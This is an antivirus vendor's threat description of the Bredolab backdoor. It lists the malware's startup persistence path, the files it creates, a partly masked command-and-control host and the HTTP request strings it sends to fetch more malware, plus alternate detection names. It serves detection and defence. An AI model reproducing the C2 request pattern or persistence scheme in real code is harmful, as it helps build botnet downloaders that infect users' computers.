Internet threat level: 1
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Backdoor.Win32.Bredolab.eua
| Detected | Jun 03 2010 16:16 GMT |
| Released | Jun 04 2010 03:28 GMT |
| Published | Jul 12 2010 11:33 GMT |
Payload
Technical Details
A malicious program that receives commands from a management server to download other malware to a computer.
Installation
To ensure that it is launched automatically when the system is started, the program copies its executable file to the autorun directory:
%Startup%\siszpe32.exeThe following file is also created:
%appdata%\avdrn.dat
Payload
The program connects to the server:
http://*****lo.ruwhere it sends the following request (some of the data may vary):
GET /new/controller.php?action=bot&entity_list=&As a result, the program receives commands to download other malware, which it saves to the
uid=&first=1&guid=880941764&v=15&rnd=8520045
%windir%\Temp\folder and launches..exe
The program then sends another request (some of the data may vary):
action=report&guid=0&rnd=8520045&guid=&entity=1260187840:unique_start;
1260188029:unique_start;1260433697:unique_start;1260199741:unique_start
Backdoors are designed to give malicious users remote control over an infected computer. In terms of functionality, Backdoors are similar to many administration systems designed and distributed by software developers.
These types of malicious programs make it possible to do anything the author wants on the infected computer: send and receive files, launch files or delete them, display messages, delete data, reboot the computer, etc.
The programs in this category are often used in order to unite a group of victim computers and form a botnet or zombie network. This gives malicious users centralized control over an army of infected computers which can then be used for criminal purposes.
There is also a group of Backdoors which are capable of spreading via networks and infecting other computers as Net-Worms do. The difference is that such Backdoors do not spread automatically (as Net-Worms do), but only upon a special “command” from the malicious user that controls them.
Backdoor.
- Trojan:
Bredolab!n (McAfee) - Mal/BredoPk-B (Sophos)
- Trj/Sinowal.
DW (Panda) - TrojanDownloader:
Win32/Bredolab. AA (MS(OneCare)) - Trojan.
Botnetlog. 126 (DrWeb) - Win32/TrojanDownloader.
Bredolab. BE trojan (Nod32) - Trojan.
Downloader. Bredolab. EK (BitDef7) - Backdoor.
Bredolab. CNS (VirusBuster) - Trojan.
Win32. Bredolab (Ikarus) - Cryptic.
AGF (AVG) - TR/Crypt.
XPACK. Gen (AVIRA) - W32/Bredolab.
TP (Norman) - Trojan.
Win32. Generic. 521C7EF8 (Rising) - Backdoor.
Win32. Bredolab. eua [AVP] (FSecure) - Trojan-Downloader.
Win32. Bredolab (Sunbelt) - Backdoor.
Bredolab. CNS (VirusBusterBeta)
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